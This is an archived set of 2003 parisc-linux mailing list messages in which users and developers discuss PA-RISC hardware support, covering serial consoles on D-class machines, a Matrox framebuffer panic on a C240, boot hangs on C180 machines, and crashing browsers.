From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D370
Date: Thu, 02 Jan 2003 20:41:07 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <87el7vjsxo.fsf@welho.com>
References: <5.1.0.14.0.20030101115323.03a100e0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622064 19312 80.91.229.3 (22 Nov 2014 02:07:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  2 11:41:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.pp.htv.fi (smtp3.pp.htv.fi [213.243.153.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB14A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Jan 2003 11:41:27 -0700 (MST)
Original-Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50])
	by smtp3.pp.htv.fi (Postfix) with ESMTP
	id D2BA027AD3D; Thu,  2 Jan 2003 20:41:08 +0200 (EET)
Original-Received: from kitsune ([213.243.186.102])
	by posti.pp.htv.fi (8.11.1/8.11.1) with ESMTP id h02If8528607;
	Thu, 2 Jan 2003 20:41:08 +0200 (EET)
Original-Received: by kitsune (Postfix, from userid 1000)
	id E98EA65086; Thu,  2 Jan 2003 20:41:07 +0200 (EET)
In-Reply-To: <5.1.0.14.0.20030101115323.03a100e0@mail.magma.ca> (Herb
 Radford's message of "Wed, 01 Jan 2003 12:05:52 -0500")
User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i386-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17236

Herb Radford <herbr@magma.ca> writes:

> Has there been any change in the support for the D-Class machines with
> an Access Port card?
> I'm not sure I understand what's happening when the AP card is
> inserted. If I boot into the PDC I get the console on Serial 1. If I
> boot with my console plugged into the AP card serial port I get nada!
> When I plug my console into Serial 2 I also get zip!
> If I boot with the console in Serial 1, output stops at the famous
> "branching to" message.
>
> Must the AP card be removed for useful o[peration?

Thats how I did it for my D390 and after that it works fine. Also,
you can do the "switch to serial 2 after the branching point" dance..

Also, so that others know, with the current (as in 2.4.20) kernels
(which fixed some unaligned access issues, I believe), the machine
works just fine on 32-bit SMP.

-- 
Arto Jantunen


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Matrox Millenium II in C240
Date: Thu, 2 Jan 2003 22:17:15 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <20030103051715.GA14565@dsl2.external.hp.com>
References: <20030102123856.GD871@portablue.intern.mind.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622064 19315 80.91.229.3 (22 Nov 2014 02:07:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter 'p2' De Schrijver <p2@mind.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  2 22:17:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F12C54829; Thu,  2 Jan 2003 22:17:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030102123856.GD871@portablue.intern.mind.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17237

On Thu, Jan 02, 2003 at 01:38:56PM +0100, Peter 'p2' De Schrijver wrote:
> I installed a matrox millenium 2 in my C240 box and try to get the
> framebuffer device for it to work under linux. Unfortunately I get a
> kernel panic at the first access to mmio space of the card.

Sounds like a driver problem.

> The card resides in a 32bit PCI slot (it's a 5V only card, so it has to).

Does it? are the 64-bit slots 3.3v only?
I've never had to pay much attention for how the slots are keyed
since I mostly use "universal" PCI cards (both 3.3 and 5v tolerant).

> I get
> the impression there is something wrong with the resource assignment of
> the card.

Doesn't look like it to me based on lspci output.

> Is this somewhere documented ?

hmm...sort of in the ioscan output in the HW DB.
Or look at the hw paths printed at boot time.

> Has anyone before succeeded in accessing mmio space of PCI
> card attached to the 32bit PCI bus of the C240 ?

SCSI is accessed that way. tulip driver can be tweaked to use MMIO
if you don't have any 100BT GSC (card-mode Dino) cards.

> 00:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 2164W [Millennium II] (prog-if 00 [VGA])
> 	Subsystem: Matrox Graphics, Inc.: Unknown device 2003
> 	Flags: medium devsel, IRQ 97
> 	Memory at f9000000 (32-bit, prefetchable) [size=16M]
> 	Memory at f3ffc000 (32-bit, non-prefetchable) [size=16K]
> 	Memory at f2800000 (32-bit, non-prefetchable) [size=8M]
> 	Expansion ROM at f3f80000 [disabled] [size=64K]

Looks like PDC/IODC did it's thing.
Look at matrox drivers to make sure they are calling
"pci_device_enable()" and ioremap() before attempting to access
the device.

Check /proc/iomem to see which PCI bus controller
this is getting routed through and that the system
has correctly identified the MMIO resources.

It's interesting one device has MMIO at both 0xf2800000
and 0xf9000000 since it would imply one PCI controller is supposed
to forward the entire range of addresses. But Dino only forwards
(any number of) 8MB chunks between 0xf0800000 and 0xff800000 (except
the first and last 8MB chunks).

> 01:04.0 Display controller: Hewlett-Packard Company: Unknown device 1008 (rev 02)
> 	Flags: 66Mhz, medium devsel, IRQ 128
> 	Memory at f6000000 (64-bit, non-prefetchable) [size=32M]
> 	Expansion ROM at f1c00000 [disabled] [size=2M]

similar scenario but this device forces both PCI bus controllers
to "interleave" MMIO ranges they respond to. Looks ok though.

grant


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 appears to hang booting current kernels
Date: Thu, 2 Jan 2003 22:07:03 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030102220703.7ce63215.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622065 19316 80.91.229.3 (22 Nov 2014 02:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  2 23:07:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02EF94829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Jan 2003 23:07:09 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id h03674Kv016236
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Jan 2003 22:07:04 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint Messaging Server MOS 3.1.0.66-GA)
	with SMTP id HCX00021;
	Thu, 2 Jan 2003 22:07:34 -0800 (PST)
X-Mailer: Sylpheed version 0.8.1claws3 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17238

Quick question,

I have a C180 running 2.4.19-pa9 just fine. However recent 2.4 kernels
hang, or appear to hang (I'm not the patient type...;-) after the
"branching to kernel entry...." The heartbeat LED slowly blinks two times
every 10 seconds or so, I've been waiting maybe 5 minutes. 

I found some discussion on this back in November, it's not quite clear if
the discussed changes were ever made. 

Any hope ?

	Thx,
	Christian 


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 appears to hang booting current kernels
Date: Thu, 2 Jan 2003 22:46:06 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20030103064606.GL1053@maybe.net>
References: <20030102220703.7ce63215.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622065 19319 80.91.229.3 (22 Nov 2014 02:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  2 23:46:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-234-80.client.attbi.com [12.231.234.80])
	by dsl2.external.hp.com (Postfix) with SMTP id 5C4864829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Jan 2003 23:46:13 -0700 (MST)
Original-Received: (qmail 4663 invoked by uid 1000); 3 Jan 2003 06:46:06 -0000
Content-Disposition: inline
In-Reply-To: <20030102220703.7ce63215.csuder@cisco.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17239

On Thu, Jan 02, 2003 at 10:07:03PM -0800, Christian Suder wrote:
> I have a C180 running 2.4.19-pa9 just fine. However recent 2.4 kernels
> hang, or appear to hang (I'm not the patient type...;-) after the
> "branching to kernel entry...." The heartbeat LED slowly blinks two times
> every 10 seconds or so, I've been waiting maybe 5 minutes. 
> 
> I found some discussion on this back in November, it's not quite clear if
> the discussed changes were ever made. 
> 
> Any hope ?

Just be patient. It takes as long as 30 minutes to work it's way through
some tests. There is a fix for this, but it may take a while to trickle
down to testing and stable users. I'm sure others can answers this in
more depth. I was worried for my C180 for a while, too.

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 appears to hang booting current kernels
Date: 03 Jan 2003 00:01:51 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <1041577311.20551.10.camel@beavis>
References: <20030102220703.7ce63215.csuder@cisco.com> 
	<20030103064606.GL1053@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622065 19323 80.91.229.3 (22 Nov 2014 02:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:45 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>,
	parisc-linux@lists.parisc-linux.org
To: Chris Jantzen <chris-parisc@maybe.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 00:01:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C57204829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 00:01:57 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B5A022B101; Fri,  3 Jan 2003 00:01:51 -0700 (MST)
In-Reply-To: <20030103064606.GL1053@maybe.net>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17240

This looks like my bad.

Willy and I worked on a solution for this problem, and I committed the
fix to the linux-2.5 tree.  I have this change also in my local 
linux 2.4 tree, but it does not appear that I committed it to CVS.

I appologize for this and will try to find time to update my local tree,
verify it still works, and then commit this change over the weekend!

Thanks,

- Ryan




On Thu, 2003-01-02 at 23:46, Chris Jantzen wrote:
> On Thu, Jan 02, 2003 at 10:07:03PM -0800, Christian Suder wrote:
> > I have a C180 running 2.4.19-pa9 just fine. However recent 2.4 kernels
> > hang, or appear to hang (I'm not the patient type...;-) after the
> > "branching to kernel entry...." The heartbeat LED slowly blinks two times
> > every 10 seconds or so, I've been waiting maybe 5 minutes. 
> > 
> > I found some discussion on this back in November, it's not quite clear if
> > the discussed changes were ever made. 
> > 
> > Any hope ?
> 
> Just be patient. It takes as long as 30 minutes to work it's way through
> some tests. There is a fix for this, but it may take a while to trickle
> down to testing and stable users. I'm sure others can answers this in
> more depth. I was worried for my C180 for a while, too.
> 
> -- 
> chris jantzen kb7rnl =->         __O
> Insert witty comment here.     _`\<,_
> http://www.maybe.net/         (*)/ (*)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New year, new try : Mozilla & friends...
Date: Thu, 2 Jan 2003 23:07:05 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20030102230705.0cdd05d6.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622066 19326 80.91.229.3 (22 Nov 2014 02:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 00:07:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.70.145.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DD904829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 00:07:13 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id h0377Cfm004054
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Jan 2003 23:07:12 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint Messaging Server MOS 3.1.0.66-GA)
	with SMTP id HDA00018;
	Thu, 2 Jan 2003 23:07:37 -0800 (PST)
X-Mailer: Sylpheed version 0.8.1claws3 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17241

Hello everybody,

I apologize in advance for bringing up this topic again, I'm just a user
who wants a good web browser... ;-) 

Mozilla/skipstone/galeon are part of the distribution (even in 'stable')
for a while now, but crash straightaway with page faults. 

Has anybody ever looked into where the problems here are ? There is a
couple of other applications that have issues too, that may or may not be
related. Dillo e.g. (which by far is not as feature rich as the others)
needs to be started a number of times until the DNS thread works. Sylpheed
and pan start on a local display, but not on a remote display (strace
shows it loops forever somewhere). 

The browser situation is quite a bummer, I think, because the machines
would be much more useable for "general use". Otherwise the port is
excellent in terms of stability and hardware support achieved so far.
Great work !

Thx,
	Christian 


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 appears to hang booting current kernels
Date: Thu, 2 Jan 2003 23:10:11 -0800
Lines: 58
Approved: news@gmane.org
Message-ID: <20030102231011.67f0cc36.csuder@cisco.com>
References: <20030102220703.7ce63215.csuder@cisco.com>
	<20030103064606.GL1053@maybe.net>
	<1041577311.20551.10.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622066 19328 80.91.229.3 (22 Nov 2014 02:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 00:10:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20D52482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 00:10:19 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id h0379gjS009516;
	Thu, 2 Jan 2003 23:09:42 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint Messaging Server MOS 3.1.0.66-GA)
	with SMTP id HDA00037;
	Thu, 2 Jan 2003 23:10:43 -0800 (PST)
In-Reply-To: <1041577311.20551.10.camel@beavis>
X-Mailer: Sylpheed version 0.8.1claws3 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17242


Thanks Ryan !

I'll stay tuned..... 

	Christian 


On 03 Jan 2003 00:01:51 -0700
Ryan Bradetich <rbradetich@uswest.net> wrote:

> This looks like my bad.
> 
> Willy and I worked on a solution for this problem, and I committed the
> fix to the linux-2.5 tree.  I have this change also in my local 
> linux 2.4 tree, but it does not appear that I committed it to CVS.
> 
> I appologize for this and will try to find time to update my local tree,
> verify it still works, and then commit this change over the weekend!
> 
> Thanks,
> 
> - Ryan
> 
> 
> 
> 
> On Thu, 2003-01-02 at 23:46, Chris Jantzen wrote:
> > On Thu, Jan 02, 2003 at 10:07:03PM -0800, Christian Suder wrote:
> > > I have a C180 running 2.4.19-pa9 just fine. However recent 2.4
> > > kernels hang, or appear to hang (I'm not the patient type...;-)
> > > after the"branching to kernel entry...." The heartbeat LED slowly
> > > blinks two times every 10 seconds or so, I've been waiting maybe 5
> > > minutes. 
> > > 
> > > I found some discussion on this back in November, it's not quite
> > > clear if the discussed changes were ever made. 
> > > 
> > > Any hope ?
> > 
> > Just be patient. It takes as long as 30 minutes to work it's way
> > through some tests. There is a fix for this, but it may take a while
> > to trickle down to testing and stable users. I'm sure others can
> > answers this in more depth. I was worried for my C180 for a while,
> > too.
> > 
> > -- 
> > chris jantzen kb7rnl =->         __O
> > Insert witty comment here.     _`\<,_
> > http://www.maybe.net/         (*)/ (*)
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New year, new try : Mozilla & friends...
Date: Fri, 3 Jan 2003 14:15:16 +0100
Organization: ESIEE
Lines: 20
Approved: news@gmane.org
Message-ID: <20030103141516.61bb51c4.varenet@parisc-linux.org>
References: <20030102230705.0cdd05d6.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622066 19334 80.91.229.3 (22 Nov 2014 02:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:46 +0000 (UTC)
Cc: csuder@cisco.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 06:15:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57C0D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 06:15:39 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id h03DFGas005844;
	Fri, 3 Jan 2003 14:15:17 +0100
In-Reply-To: <20030102230705.0cdd05d6.csuder@cisco.com>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17243

On Thu, 2 Jan 2003 23:07:05 -0800
"Christian Suder" <csuder@cisco.com> wrote:
> 
> Mozilla/skipstone/galeon are part of the distribution (even in 'stable')
> for a while now, but crash straightaway with page faults. 
> 
> Has anybody ever looked into where the problems here are ? There is a
> couple of other applications that have issues too, that may or may not be

Well, it's an old "feature" of hppa platform ;)

IIRC, all these problems are compiler-related stuff. Maybe with the new toolchain we will get rid of them...

/me pokes at toolchain-gurus for advice :^)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
